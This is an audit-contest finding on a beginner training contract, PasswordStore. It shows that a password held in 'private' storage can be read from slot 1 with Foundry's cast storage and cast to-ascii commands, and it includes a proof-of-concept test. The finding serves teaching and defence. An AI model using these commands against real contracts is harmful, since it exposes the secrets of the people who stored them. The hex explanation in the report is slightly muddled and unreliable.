First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

s_password stored on chain causes password to be revealed

Nocturnus

Summary

Everything stored on blockchain is visible to anyone and anytime. Internal or private variables do not change this fact. In PasswordStore.sol contract, s_password variable stores the password and it's visible to everyone.

Vulnerability Details

According to Solidity docs :

...data is stored contiguously item after item starting with the first state variable, which is stored in slot 0. For each variable, a size in bytes is determined according to its type. Multiple, contiguous items that need less than 32 bytes are packed into a single storage slot if possible, according to the following rules: ,

  • The first item in a storage slot is stored lower-order aligned.

  • Value types use only as many bytes as are necessary to store them.

error PasswordStore__NotOwner();
​
address private s_owner;
@> string private s_password;

s_password variable is the 2nd variable after s_owner. Its slot is 1. In order to reveal the content of the slot we can use forge storage command: cast storage [options] address slot

Depending on the size of the string, slot number can change.

Impact

Assuming our deployed contract address is 0x5fbdb2315678afecb367f032d93f642f64180aa3 our command to reveal the password will be: cast storage 0x5fbdb2315678afecb367f032d93f642f64180aa3 1

The output of this command is: `0x6d7950617373776f726400000000000000000000000000000000000000000014

The first 32 bytes of this output is the hex value of the password and the 2nd 32 bytes is the length of the string which is stored in this slot 1.

Stored password in hex: 6d7950617373776f7264000000000000

The length of the string stored in slot 1: 00000000000000000000000000000014

To convert hex to text, forge command cast to-ascii can be used: cast to-ascii 6d7950617373776f7264000000000000

The output will be: myPassword

Another method to prove it is to test it in foundry:

/* Password is set to "myPassword" in DeployPasswordStore.s.sol"
This test compares "myPassword" with the same string which is set in a temporary contract.Thus proves that the password can be revealed.
This test will only work if the length of the set password is less than or equal to 32bytes. If it's longer, the storage location will not be slot "1" anymore.
It's not possible to write a test to compare dynamic passwords with the password which is stored in contract's storage */
​
contract Temporary {
string trialPassword = "myPassword";
}
​
​
contract DeployPasswordStore is Script {
function run() public returns (PasswordStore, Temporary) {
vm.startBroadcast();
​
PasswordStore passwordStore = new PasswordStore();
passwordStore.setPassword("myPassword");
Temporary temporary = new Temporary();
vm.stopBroadcast();
​
return (passwordStore, temporary);
}
}
​
​
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
Temporary public temporary;
​
function setUp() public {
deployer = new DeployPasswordStore();
(passwordStore, temporary) = deployer.run();
}
​
function testRevealPassword() public {
bytes32 passwordInTemporaryContractStorage = vm.load(
address(temporary),
bytes32(uint256(0))
);
​
console2.logBytes32(bytes32(passwordInTemporaryContractStorage));
bytes32 passwordInContractStorage = vm.load(address(passwordStore),bytes32(uint256(1)));
console2.logBytes32(passwordInContractStorage);
assertEq(passwordInContractStorage, passwordInTemporaryContractStorage);
}

Tools Used

  • Manual audit

  • Foundry

Recommendations

Don't store password on chain. Depending on the expected logic access lists can be an alternative.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.